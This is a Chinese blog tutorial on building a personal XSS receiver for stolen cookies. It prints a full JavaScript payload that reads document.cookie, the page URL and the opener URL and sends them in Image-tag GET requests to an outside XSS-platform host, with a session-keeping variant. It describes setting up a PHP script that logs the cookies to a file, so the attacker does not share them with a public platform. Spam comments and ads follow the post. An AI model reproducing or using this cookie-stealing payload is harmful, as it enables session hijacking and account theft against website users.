Walks

网络安全爱好者

编写自己的XSS接受模块

   

前言:

看JS书籍中,看着看着就想到了XSS平台,不禁对XSS平台为什么可以接受cookie产生了思考?看了下接受cookie的代码,原来是接受的步骤是这样的。

我们在存在一个XSS漏洞的地方插入XSS代码,该XSS代码从远程载入一段Javascript。这段Javascript代码的作用就是向我们的XSS平台提交一段GET请求,这段GET请求包括浏览器的cookie(document.cookie),然后我们的XSS平台就接受GET请求,把cookie获取。

那么我们是否可以自己搭建个接受模块来接受cookie呢?毕竟用别人的平台别人是可以看到我们打到的cookie的。

步骤:

这是XSS平台获取cookie的模块,下面的几段代码就可以让我们接受从某个地方打到的cookie《编写自己的XSS接受模块》

可能这样看不清楚,那我们解压缩一下。

(function () {
    (new Image()).src = 'http://xsspt.com/index.php?do=api&id={projectId}&location=' + escape((function () {
        try {
            return document.location.href
        } catch (e) {
            return ''
        }
    })()) + '&toplocation=' + escape((function () {
        try {
            return top.location.href
        } catch (e) {
            return ''
        }
    })()) + '&cookie=' + escape((function () {
        try {
            return document.cookie
        } catch (e) {
            return ''
        }
    })()) + '&opener=' + escape((function () {
        try {
            return (window.opener && window.opener.location.href) ? window.opener.location.href : ''
        } catch (e) {
            return ''
        }
    })());
})();
if ('{set.keepsession}' == 1) {
    keep = new Image();
    keep.src = 'http://xsspt.com/index.php?do=keepsession&id={projectId}&url=' + escape(document.location) + '&cookie=' + escape(document.cookie)
};

这段代码等同于<img src="http://localhost/xss.php?cookie=(document.cookie)….." />,也就是一个Img标签。该Img标签可以访问远程接受cookie的地址。 

那么我们在自己的服务器上加一个xss1.js和接受并处理cookie的xss.php不就行了么。 

 这里的话我图简单就本地phpstudy搭建了,反正都一样。。。

接受和处理cookie的xss.php

《编写自己的XSS接受模块》

发送GET请求的xss1.js

《编写自己的XSS接受模块》

本地写一个无过滤的界面来测试是否可以用。

《编写自己的XSS接受模块》

view看看。src后面的网址我把缩短了。

《编写自己的XSS接受模块》

百度缩短网址即可。

《编写自己的XSS接受模块》

最后看看我们本地的地方是否存在这个cookie.txt

《编写自己的XSS接受模块》

成功打到cookie,说明成功。

点赞
  1. Faytech North America is a touch screen Manufacturer of both monitors and pcs. They specialize in the design, development, manufacturing and marketing of Capacitive touch screen, Resistive touch screen, Industrial touch screen, IP65 touch screen, touchscreen monitors and integrated touchscreen PCs. Contact them at http://www.faytech.us, 121 Varick Street, New York, NY 10013, +1 646 205 3214

  2. Tad Diskind说道:

    Hi folks here, just became aware about your blog page through Google, and realized that it's seriously helpful. I’ll appreciate should you decide persist this informative article.

  3. Homer Marroguin说道:

    It happens to be suitable occasion to make some intentions for the long run. I've scan this article and if I have the ability to, I desire to encourage you handful helpful proposal.

  4. Lily Gaunce说道:

    After looking into a few of the blog articles on your blog, I truly appreciate your way of blogging. I bookmarked it to my bookmark webpage list and will be checking back soon. Please check out my web site too and tell me how you feel.

  5. I’m impressed, I have to admit. Really rarely can i encounter a weblog that’s both educative and entertaining, and let me tell you, you might have hit the nail to the head. Your idea is outstanding; the problem is something not enough folks are speaking intelligently about. I am delighted i found this around my look for something in regards to this.

  6. Sapid Agency is a Search Engine Optimization company in New York City that provides SEO Services. Their proprietary SEO strategies help struggling websites and aspiring business owners to rank their websites higher in multiple search engines like Google , Yahoo and Bing. They provide local and gmb map ranking for businesses in NYC and many other local areas. Find more at https://www.sapidagency.com/ @ 145 E 57TH NEW YORK, NY 10022, USA, +1 971 341 5608 USA

  7. Cyril Ferrales说道:

    This is convenient time to have some intentions for the possible future. I've browsed this blog post and if I may, I desire to suggest you number of fascinating tip.

  8. Sapid Agency说道:

    Sapid Agency is a Search Engine Optimization company in New York City that provides SEO Services. Their proprietary SEO strategies help struggling websites and aspiring business owners to rank their websites higher in multiple search engines like Google , Yahoo and Bing. They provide local and gmb map ranking for businesses in NYC and many other local areas. Find more at https://www.sapidagency.com/ @ 145 E 57TH NEW YORK, NY 10022, USA, +1 971 341 5608 USA

  9. try this out说道:

    I simply want to mention I am just all new to blogging and site-building and absolutely liked your web page. More than likely I’m going to bookmark your blog . You surely come with excellent articles and reviews. Kudos for sharing with us your web page.

  10. Metroclick说道:

    It can be practically close to impossible to find well-qualified individuals on this theme, and yet you come across as like you fully grasp exactly what you're covering! Thanks

发表评论

电子邮件地址不会被公开。 必填项已用*标注

77 − 75 =